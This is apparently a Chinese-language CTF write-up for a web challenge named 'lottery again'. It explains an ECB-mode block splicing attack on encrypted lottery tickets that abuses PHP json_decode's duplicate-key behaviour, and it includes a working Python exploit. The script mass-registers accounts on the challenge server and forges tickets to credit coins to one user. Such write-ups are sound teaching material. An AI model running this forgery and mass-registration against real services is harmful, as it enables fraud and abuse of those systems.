Web#

lottery again#

彩票加密是 RIJNDAEL_256_ECB,考虑重放攻击
思路是注册大量用户购买彩票,然后将 enc 的 user uuid 修改为同一用户,从而给这一用户加钱
利用 PHP json_decode 同名后项覆盖前项的方法,先让目标用户买一次彩票,得到 enc_base,这个 enc 的后三行中含有这一彩票的 uuid 后面部分以及 user uuid 的加密结果。
由于彩票的 uuid 后半刚好能和第二行 user uuid 的前部分在 JSON 格式上闭合,所以用脚本注册大量用户,取彩票 enc 的前两行,用 enc_base 的后三行做闭合,可以得到类似下面的格式:

1
2
3
4
5
{"lottery":"3ac3f14a-b332-4b4d-8
ff6-4e3ad9fb7761","user":"9b9ca8
8c6-5eb3811ca0c3","user":"aeddce
e9-8c62-48e4-a51f-118945e210f6",
"coin":99}

enc_base 中完整的 user uuid 在后面,覆盖了前面强行闭合的不完整 user uuid,解密解码后得到的 user 变为了目标用户,此时卖出能给目标用户加钱。达到 9999 后 buy flag 得到 flag。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import base64
import random
import string

url = 'http://52.149.144.45:8080'

# s = requests.session()
# r = s.post(url+'/user/login', data={
# 'username': 'dubhe0',
# 'password': '123456'
# })

base = base64.b64decode('QBCHVevOmPI1JBUuV974yHwOmh3xhny6be3KVXeMyqT2dMpO9XtCH104apBGgEca5AhJkEmBj7dlu3qesOoBHNCGotSmPRMlxn8OXEFuca4G0lM/80Iq7s1qM0eZT2/lDudyuXsa34qAZZjh8EApuMmVQNhyaLlSm0mJce6DJtE=')

for i in range(10000):
username = 'dubhe' + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
r = requests.post(url+'/user/register', data={
'username': username,
'password': '123456'
})
r = requests.post(url+'/user/login', data={
'username': username,
'password': '123456'
})
api_token = r.json()['user']['api_token']
r = requests.post(url+'/lottery/buy', data={
'api_token': api_token
})
lottery = base64.b64decode(r.json()['enc'])
fake_lottery = lottery[:64] + base[32:]
r = requests.post(url+'/lottery/charge', data={
'user': '2877b56d-0a0c-493e-9e4e-52c5f30dcbff',
'coin': '100',
'enc': base64.b64encode(fake_lottery)
})
print(r.json())